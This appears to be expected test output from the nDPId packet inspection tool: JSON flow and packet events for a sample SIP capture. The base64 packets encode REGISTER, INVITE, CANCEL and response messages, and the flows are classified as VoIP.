+01039{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469847,"pkt_ts_usec":809339,"pkt_caplen":528,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":528,"pkt_l4_len":494,"pkt":"AODtAW69ADBUADRWCABFAAICAABAADcRiivU8iEjwKgBAhPEE8QB7ov6U0lQLzIuMCA0MDEgVW5hdXRob3JpemVkDQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDU2VxOiA3MiBSRUdJU1RFUg0KRnJvbTogPHNpcDp2b2kxODA2MkBzaXAuY3liZXJjaXR5LmRrPjt0YWc9NzYwNjllNA0KVG86IDxzaXA6dm9pMTgwNjJAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTAwLTA0MDcxLTE3MDFiMTcyLTIyZTFjYzQ3MA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjtyZWNlaXZlZD04MC4yMzAuMjE5LjcwO3Jwb3J0PTUwNjA7YnJhbmNoPXo5aEc0YktucDEyMzc1OTA2My00NjRiYzFiYjE5Mi4xNjguMS4yDQpXV1ctQXV0aGVudGljYXRlOiBEaWdlc3QgcmVhbG09InNpcC5jeWJlcmNpdHkuZGsiLG5vbmNlPSIxNzAxYjE2YTJhMDliYzM4NDdjZmQyMDE1NjEyZmUyIixvcGFxdWU9IjE3MDFhMTM1MWY3MDc5NSIsc3RhbGU9ZmFsc2UsYWxnb3JpdGhtPU1ENQ0KQ29udGVudC1MZW5ndGg6IDANCg0K"} +01299{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469864,"pkt_ts_usec":994366,"pkt_caplen":722,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":722,"pkt_l4_len":688,"pkt":"ADBUADRWAODtAW69CABFAALEai0AAIARFjzAqAEC1PIhIxPEE8QCsFZKUkVHSVNURVIgc2lwOnNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjticmFuY2g9ejloRzRiS25wMTIyMDI4NjY3LTQ4MWI5ZmM4MTkyLjE2OC4xLjI7cnBvcnQNCkZyb206IDxzaXA6dm9pMTgwNjJAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTc0NjAyODgNClRvOiA8c2lwOnZvaTE4MDYyQHNpcC5jeWJlcmNpdHkuZGs+DQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDb250YWN0OiAgPHNpcDp2b2kxODA2MkAxOTIuMTY4LjEuMjo1MDYwO2xpbmU9YWNhNmI5N2NhM2Y1ZTUxYT47ZXhwaXJlcz0xMjAwO3E9MC41MDANCkV4cGlyZXM6IDEyMDANCkNTZXE6IDczIFJFR0lTVEVSDQpDb250ZW50LUxlbmd0aDogMA0KQXV0aG9yaXphdGlvbjogRGlnZXN0IHVzZXJuYW1lPSJ2b2kxODA2MiIscmVhbG09InNpcC5jeWJlcmNpdHkuZGsiLHVyaT0ic2lwOjE5Mi4xNjguMS4yIixub25jZT0iMTcwMWIxNmEyYTA5YmMzODQ3Y2ZkMjAxNTYxMmZlMiIsb3BhcXVlPSIxNzAxYTEzNTFmNzA3OTUiLG5jPSIwMDAwMDAwMSIscmVzcG9uc2U9IjI5Y2Q3NzYxMTJhNzA5Y2I5Y2JlOTc4YmFmZjVlNDc4Ig0KTWF4LUZvcndhcmRzOiA3MA0KVXNlci1BZ2VudDogTmVybyBTSVBQUyBJUCBQaG9uZSBWZXJzaW9uIDIuMC41MS4xNg0KDQo="} +01047{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469865,"pkt_ts_usec":145161,"pkt_caplen":533,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":533,"pkt_l4_len":499,"pkt":"AODtAW69ADBUADRWCABFAAIHAABAADcRiibU8iEjwKgBAhPEE8QB83zWU0lQLzIuMCA0MDEgbm9uY2UgaGFzIGNoYW5nZWQNCkNhbGwtSUQ6IDU3ODIyMjcyOS00NjY1ZDc3NUA1NzgyMjI3MzItNDY2NWQ3NzINCkNTZXE6IDczIFJFR0lTVEVSDQpGcm9tOiA8c2lwOnZvaTE4MDYyQHNpcC5jeWJlcmNpdHkuZGs+O3RhZz03NDYwMjg4DQpUbzogPHNpcDp2b2kxODA2MkBzaXAuY3liZXJjaXR5LmRrPjt0YWc9MDAtMDQwODYtMTcwMWIxOTMtNjQ1MjA0ZWQ2DQpWaWE6IFNJUC8yLjAvVURQIDE5Mi4xNjguMS4yO3JlY2VpdmVkPTgwLjIzMC4yMTkuNzA7cnBvcnQ9NTA2MDticmFuY2g9ejloRzRiS25wMTIyMDI4NjY3LTQ4MWI5ZmM4MTkyLjE2OC4xLjINCldXVy1BdXRoZW50aWNhdGU6IERpZ2VzdCByZWFsbT0ic2lwLmN5YmVyY2l0eS5kayIsbm9uY2U9IjE3MDFiMTkxNTE0YzZiNjk1YjRhMmRkNjU5Y2MwZmYiLG9wYXF1ZT0iMTcwMWExMzUxZjcwNzk1IixzdGFsZT1mYWxzZSxhbGdvcml0aG09TUQ1DQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +01015{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469938,"pkt_ts_usec":910409,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":509,"pkt_l4_len":475,"pkt":"ADBUADRWAODtAW69CABFAAHvakAAAIARFv7AqAEC1PIhIxPEE8QB28mlUkVHSVNURVIgc2lwOnNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjticmFuY2g9ejloRzRiS25wMTE0NjM5MDAwLTQ3N2U3NTkxMTkyLjE2OC4xLjI7cnBvcnQNCkZyb206IDxzaXA6dm9pMTgwNjJAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTZkNTQwYTUNClRvOiA8c2lwOnZvaTE4MDYyQHNpcC5jeWJlcmNpdHkuZGs+DQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDb250YWN0OiAgPHNpcDp2b2kxODA2MkAxOTIuMTY4LjEuMjo1MDYwO2xpbmU9YWNhNmI5N2NhM2Y1ZTUxYT47ZXhwaXJlcz0xMjAwO3E9MC41MDANCkV4cGlyZXM6IDEyMDANCkNTZXE6IDc0IFJFR0lTVEVSDQpDb250ZW50LUxlbmd0aDogMA0KTWF4LUZvcndhcmRzOiA3MA0KVXNlci1BZ2VudDogTmVybyBTSVBQUyBJUCBQaG9uZSBWZXJzaW9uIDIuMC41MS4xNg0KDQo="} +01038{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469939,"pkt_ts_usec":47813,"pkt_caplen":528,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":528,"pkt_l4_len":494,"pkt":"AODtAW69ADBUADRWCABFAAICAABAADcRiivU8iEjwKgBAhPEE8QB7jgxU0lQLzIuMCA0MDEgVW5hdXRob3JpemVkDQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDU2VxOiA3NCBSRUdJU1RFUg0KRnJvbTogPHNpcDp2b2kxODA2MkBzaXAuY3liZXJjaXR5LmRrPjt0YWc9NmQ1NDBhNQ0KVG86IDxzaXA6dm9pMTgwNjJAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTAwLTA0MDg5LTE3MDFiMjM2LTJiNzIxMTYwNw0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjtyZWNlaXZlZD04MC4yMzAuMjE5LjcwO3Jwb3J0PTUwNjA7YnJhbmNoPXo5aEc0YktucDExNDYzOTAwMC00NzdlNzU5MTE5Mi4xNjguMS4yDQpXV1ctQXV0aGVudGljYXRlOiBEaWdlc3QgcmVhbG09InNpcC5jeWJlcmNpdHkuZGsiLG5vbmNlPSIxNzAxYjIyOTcyYjkwZjQ0MGMzZTRlYjI1MDg0MmJiIixvcGFxdWU9IjE3MDFhMTM1MWY3MDc5NSIsc3RhbGU9ZmFsc2UsYWxnb3JpdGhtPU1ENQ0KQ29udGVudC1MZW5ndGg6IDANCg0K"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":22,"source":"sip.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1120470049188,"flow_last_seen":0,"flow_tot_l4_data_len":830,"flow_min_l4_data_len":830,"flow_max_l4_data_len":830,"flow_avg_l4_data_len":830,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.120.81","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01486{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470049,"pkt_ts_usec":188993,"pkt_caplen":864,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":864,"pkt_l4_len":830,"pkt":"ADBUADRWAODtAW69CABFAANSam4AAIARyuzAqAECyER4URPEE8QDPvKbSU5WSVRFIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI6NTA2MDticmFuY2g9ejloRzRiS25wMTA0OTg0MDUzLTQ0Y2U0YTQxMTkyLjE2OC4xLjI7cnBvcnQNCkZyb206ICJhcmlrIiA8c2lwOjgxNjY2NkB2b2lwLmJydXJqdWxhLm5ldD47dGFnPTY0MzNlZjkNClRvOiA8c2lwOjk3MjM5Mjg3MDQ0QHZvaXAuYnJ1anVsYS5uZXQ+DQpDYWxsLUlEOiAxMDUwOTAyNTktNDQ2ZmFmN2FAMTkyLjE2OC4xLjINCkNTZXE6IDEgSU5WSVRFDQpVc2VyLUFnZW50OiBOZXJvIFNJUFBTIElQIFBob25lIFZlcnNpb24gMi4wLjUxLjE2DQpFeHBpcmVzOiAxMjANCkFjY2VwdDogYXBwbGljYXRpb24vc2RwDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3NkcA0KQ29udGVudC1MZW5ndGg6IDI3Mg0KQ29udGFjdDogPHNpcDo4MTY2NjZAMTkyLjE2OC4xLjI+DQpNYXgtRm9yd2FyZHM6IDcwDQpBbGxvdzogSU5WSVRFLCBBQ0ssIENBTkNFTCwgQllFLCBSRUZFUiwgT1BUSU9OUywgTk9USUZZLCBJTkZPDQoNCnY9MA0Kbz1TSVBQUyAxMDUwMTUxNjUgMTA1MDE1MTYyIElOIElQNCAxOTIuMTY4LjEuMg0Kcz1TSVAgY2FsbA0KYz1JTiBJUDQgMTkyLjE2OC4xLjINCnQ9MCAwDQptPWF1ZGlvIDMwMDAwIFJUUC9BVlAgMCA4IDk3IDIgMw0KYT1ydHBtYXA6MCBwY211LzgwMDANCmE9cnRwbWFwOjggcGNtYS84MDAwDQphPXJ0cG1hcDo5NyBpTEJDLzgwMDANCmE9cnRwbWFwOjIgRzcyNi0zMi84MDAwDQphPXJ0cG1hcDozIEdTTS84MDAwDQphPWZtdHA6OTcgbW9kZT0yMA0KYT1zZW5kcmVjdg0K"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":22,"source":"sip.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1120470049188,"flow_last_seen":0,"flow_tot_l4_data_len":830,"flow_min_l4_data_len":830,"flow_max_l4_data_len":830,"flow_avg_l4_data_len":830,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.120.81","src_port":5060,"dst_port":5060,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +01486{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470049,"pkt_ts_usec":696866,"pkt_caplen":864,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":864,"pkt_l4_len":830,"pkt":"ADBUADRWAODtAW69CABFAANSanAAAIARyurAqAECyER4URPEE8QDPvKbSU5WSVRFIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI6NTA2MDticmFuY2g9ejloRzRiS25wMTA0OTg0MDUzLTQ0Y2U0YTQxMTkyLjE2OC4xLjI7cnBvcnQNCkZyb206ICJhcmlrIiA8c2lwOjgxNjY2NkB2b2lwLmJydXJqdWxhLm5ldD47dGFnPTY0MzNlZjkNClRvOiA8c2lwOjk3MjM5Mjg3MDQ0QHZvaXAuYnJ1anVsYS5uZXQ+DQpDYWxsLUlEOiAxMDUwOTAyNTktNDQ2ZmFmN2FAMTkyLjE2OC4xLjINCkNTZXE6IDEgSU5WSVRFDQpVc2VyLUFnZW50OiBOZXJvIFNJUFBTIElQIFBob25lIFZlcnNpb24gMi4wLjUxLjE2DQpFeHBpcmVzOiAxMjANCkFjY2VwdDogYXBwbGljYXRpb24vc2RwDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3NkcA0KQ29udGVudC1MZW5ndGg6IDI3Mg0KQ29udGFjdDogPHNpcDo4MTY2NjZAMTkyLjE2OC4xLjI+DQpNYXgtRm9yd2FyZHM6IDcwDQpBbGxvdzogSU5WSVRFLCBBQ0ssIENBTkNFTCwgQllFLCBSRUZFUiwgT1BUSU9OUywgTk9USUZZLCBJTkZPDQoNCnY9MA0Kbz1TSVBQUyAxMDUwMTUxNjUgMTA1MDE1MTYyIElOIElQNCAxOTIuMTY4LjEuMg0Kcz1TSVAgY2FsbA0KYz1JTiBJUDQgMTkyLjE2OC4xLjINCnQ9MCAwDQptPWF1ZGlvIDMwMDAwIFJUUC9BVlAgMCA4IDk3IDIgMw0KYT1ydHBtYXA6MCBwY211LzgwMDANCmE9cnRwbWFwOjggcGNtYS84MDAwDQphPXJ0cG1hcDo5NyBpTEJDLzgwMDANCmE9cnRwbWFwOjIgRzcyNi0zMi84MDAwDQphPXJ0cG1hcDozIEdTTS84MDAwDQphPWZtdHA6OTcgbW9kZT0yMA0KYT1zZW5kcmVjdg0K"} +01486{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470050,"pkt_ts_usec":699023,"pkt_caplen":864,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":864,"pkt_l4_len":830,"pkt":"ADBUADRWAODtAW69CABFAANSanIAAIARyujAqAECyER4URPEE8QDPvKbSU5WSVRFIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI6NTA2MDticmFuY2g9ejloRzRiS25wMTA0OTg0MDUzLTQ0Y2U0YTQxMTkyLjE2OC4xLjI7cnBvcnQNCkZyb206ICJhcmlrIiA8c2lwOjgxNjY2NkB2b2lwLmJydXJqdWxhLm5ldD47dGFnPTY0MzNlZjkNClRvOiA8c2lwOjk3MjM5Mjg3MDQ0QHZvaXAuYnJ1anVsYS5uZXQ+DQpDYWxsLUlEOiAxMDUwOTAyNTktNDQ2ZmFmN2FAMTkyLjE2OC4xLjINCkNTZXE6IDEgSU5WSVRFDQpVc2VyLUFnZW50OiBOZXJvIFNJUFBTIElQIFBob25lIFZlcnNpb24gMi4wLjUxLjE2DQpFeHBpcmVzOiAxMjANCkFjY2VwdDogYXBwbGljYXRpb24vc2RwDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3NkcA0KQ29udGVudC1MZW5ndGg6IDI3Mg0KQ29udGFjdDogPHNpcDo4MTY2NjZAMTkyLjE2OC4xLjI+DQpNYXgtRm9yd2FyZHM6IDcwDQpBbGxvdzogSU5WSVRFLCBBQ0ssIENBTkNFTCwgQllFLCBSRUZFUiwgT1BUSU9OUywgTk9USUZZLCBJTkZPDQoNCnY9MA0Kbz1TSVBQUyAxMDUwMTUxNjUgMTA1MDE1MTYyIElOIElQNCAxOTIuMTY4LjEuMg0Kcz1TSVAgY2FsbA0KYz1JTiBJUDQgMTkyLjE2OC4xLjINCnQ9MCAwDQptPWF1ZGlvIDMwMDAwIFJUUC9BVlAgMCA4IDk3IDIgMw0KYT1ydHBtYXA6MCBwY211LzgwMDANCmE9cnRwbWFwOjggcGNtYS84MDAwDQphPXJ0cG1hcDo5NyBpTEJDLzgwMDANCmE9cnRwbWFwOjIgRzcyNi0zMi84MDAwDQphPXJ0cG1hcDozIEdTTS84MDAwDQphPWZtdHA6OTcgbW9kZT0yMA0KYT1zZW5kcmVjdg0K"} +01186{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470051,"pkt_ts_usec":405231,"pkt_caplen":637,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":637,"pkt_l4_len":603,"pkt":"AODtAW69ADBUADRWCABFAAJvAABAAC8RRz7IRHhRwKgBAhPEE8QCWxwoU0lQLzIuMCAxMDAgdHJ5aW5nIC0tIHlvdXIgY2FsbCBpcyBpbXBvcnRhbnQgdG8gdXMNClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI6NTA2MDticmFuY2g9ejloRzRiS25wMTA0OTg0MDUzLTQ0Y2U0YTQxMTkyLjE2OC4xLjI7cnBvcnQ9NTA2MDtyZWNlaXZlZD04MC4yMzAuMjE5LjcwDQpGcm9tOiAiYXJpayIgPHNpcDo4MTY2NjZAdm9pcC5icnVyanVsYS5uZXQ+O3RhZz02NDMzZWY5DQpUbzogPHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0Pg0KQ2FsbC1JRDogMTA1MDkwMjU5LTQ0NmZhZjdhQDE5Mi4xNjguMS4yDQpDU2VxOiAxIElOVklURQ0KU2VydmVyOiBTaXAgRVhwcmVzcyByb3V0ZXIgKDAuOC4xMiAoaTM4Ni9saW51eCkpDQpDb250ZW50LUxlbmd0aDogMA0KV2FybmluZzogMzkyIDIwMC42OC4xMjAuODE6NTA2MCAiTm9pc3kgZmVlZGJhY2sgdGVsbHM6ICBwaWQ9MzI2NDIgcmVxX3NyY19pcD04MC4yMzAuMjE5LjcwIHJlcV9zcmNfcG9ydD01MDYwIGluX3VyaT1zaXA6OTcyMzkyODcwNDRAdm9pcC5icnVqdWxhLm5ldCBvdXRfdXJpPXNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IHZpYV9jbnQ9PTEiDQoNCg=="} +00890{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470083,"pkt_ts_usec":308013,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRWAODtAW69CABFAAGTaoEAAIARzJjAqAECyER4URPEE8QBf5mcQ0FOQ0VMIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1My00NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiAiYXJpayIgPHNpcDo4MTY2NjZAdm9pcC5icnVyanVsYS5uZXQ+O3RhZz02NDMzZWY5DQpUbzogPHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0Pg0KQ2FsbC1JRDogMTA1MDkwMjU5LTQ0NmZhZjdhQDE5Mi4xNjguMS4yDQpDU2VxOiAxIENBTkNFTA0KQ29udGVudC1MZW5ndGg6IDANCk1heC1Gb3J3YXJkczogNzANClVzZXItQWdlbnQ6IE5lcm8gU0lQUFMgSVAgUGhvbmUgVmVyc2lvbiAyLjAuNTEuMTYNCg0K"} +00890{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470083,"pkt_ts_usec":815816,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRWAODtAW69CABFAAGTaoMAAIARzJbAqAECyER4URPEE8QBf5mcQ0FOQ0VMIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1My00NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiAiYXJpayIgPHNpcDo4MTY2NjZAdm9pcC5icnVyanVsYS5uZXQ+O3RhZz02NDMzZWY5DQpUbzogPHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0Pg0KQ2FsbC1JRDogMTA1MDkwMjU5LTQ0NmZhZjdhQDE5Mi4xNjguMS4yDQpDU2VxOiAxIENBTkNFTA0KQ29udGVudC1MZW5ndGg6IDANCk1heC1Gb3J3YXJkczogNzANClVzZXItQWdlbnQ6IE5lcm8gU0lQUFMgSVAgUGhvbmUgVmVyc2lvbiAyLjAuNTEuMTYNCg0K"} +00890{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470084,"pkt_ts_usec":827100,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRWAODtAW69CABFAAGTaoUAAIARzJTAqAECyER4URPEE8QBf5mcQ0FOQ0VMIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1My00NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiAiYXJpayIgPHNpcDo4MTY2NjZAdm9pcC5icnVyanVsYS5uZXQ+O3RhZz02NDMzZWY5DQpUbzogPHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0Pg0KQ2FsbC1JRDogMTA1MDkwMjU5LTQ0NmZhZjdhQDE5Mi4xNjguMS4yDQpDU2VxOiAxIENBTkNFTA0KQ29udGVudC1MZW5ndGg6IDANCk1heC1Gb3J3YXJkczogNzANClVzZXItQWdlbnQ6IE5lcm8gU0lQUFMgSVAgUGhvbmUgVmVyc2lvbiAyLjAuNTEuMTYNCg0K"} +01210{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470085,"pkt_ts_usec":961798,"pkt_caplen":656,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":656,"pkt_l4_len":622,"pkt":"AODtAW69ADBUADRWCABFAAKCAABAAC8RRyvIRHhRwKgBAhPEE8QCbo0fU0lQLzIuMCA0MDggUmVxdWVzdCBUaW1lb3V0DQpWaWE6IFNJUC8yLjAvVURQIDE5Mi4xNjguMS4yOjUwNjA7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1My00NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0PTUwNjA7cmVjZWl2ZWQ9ODAuMjMwLjIxOS43MA0KRnJvbTogImFyaWsiIDxzaXA6ODE2NjY2QHZvaXAuYnJ1cmp1bGEubmV0Pjt0YWc9NjQzM2VmOQ0KVG86IDxzaXA6OTcyMzkyODcwNDRAdm9pcC5icnVqdWxhLm5ldD47dGFnPWE2YTFjNWY2MGZhZWNmMDM1YTFhZTViNmU5NmU5NzlhLTYxNjcNCkNhbGwtSUQ6IDEwNTA5MDI1OS00NDZmYWY3YUAxOTIuMTY4LjEuMg0KQ1NlcTogMSBJTlZJVEUNClNlcnZlcjogU2lwIEVYcHJlc3Mgcm91dGVyICgwLjguMTIgKGkzODYvbGludXgpKQ0KQ29udGVudC1MZW5ndGg6IDANCldhcm5pbmc6IDM5MiAyMDAuNjguMTIwLjgxOjUwNjAgIk5vaXN5IGZlZWRiYWNrIHRlbGxzOiAgcGlkPTMyNzUzIHJlcV9zcmNfaXA9ODAuMjMwLjIxOS43MCByZXFfc3JjX3BvcnQ9NTA2MCBpbl91cmk9c2lwOjk3MjM5Mjg3MDQ0QHZvaXAuYnJ1anVsYS5uZXQgb3V0X3VyaT1zaXA6OTcyMzkyODcwNDRAdm9pcC5icnVqdWxhLm5ldCB2aWFfY250PT0wIg0KDQo="} +00855{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470085,"pkt_ts_usec":969731,"pkt_caplen":389,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":389,"pkt_l4_len":355,"pkt":"ADBUADRWAODtAW69CABFAAF3aoYAAIARzK\/AqAECyER4URPEE8QBY9CsQUNLIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANCkZyb206ICJhcmlrIiA8c2lwOjgxNjY2NkB2b2lwLmJydXJqdWxhLm5ldD47dGFnPTY0MzNlZjkNCkNhbGwtSUQ6IDEwNTA5MDI1OS00NDZmYWY3YUAxOTIuMTY4LjEuMg0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjo1MDYwO2JyYW5jaD16OWhHNGJLbnAxMDQ5ODQwNTMtNDRjZTRhNDExOTIuMTY4LjEuMjtycG9ydA0KVG86IDxzaXA6OTcyMzkyODcwNDRAdm9pcC5icnVqdWxhLm5ldD47dGFnPWE2YTFjNWY2MGZhZWNmMDM1YTFhZTViNmU5NmU5NzlhLTYxNjcNCkNTZXE6IDEgQUNLDQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +00891{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470086,"pkt_ts_usec":840071,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRWAODtAW69CABFAAGTaogAAIARzJHAqAECyER4URPEE8QBf5mcQ0FOQ0VMIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1My00NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiAiYXJpayIgPHNpcDo4MTY2NjZAdm9pcC5icnVyanVsYS5uZXQ+O3RhZz02NDMzZWY5DQpUbzogPHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0Pg0KQ2FsbC1JRDogMTA1MDkwMjU5LTQ0NmZhZjdhQDE5Mi4xNjguMS4yDQpDU2VxOiAxIENBTkNFTA0KQ29udGVudC1MZW5ndGg6IDANCk1heC1Gb3J3YXJkczogNzANClVzZXItQWdlbnQ6IE5lcm8gU0lQUFMgSVAgUGhvbmUgVmVyc2lvbiAyLjAuNTEuMTYNCg0K"} 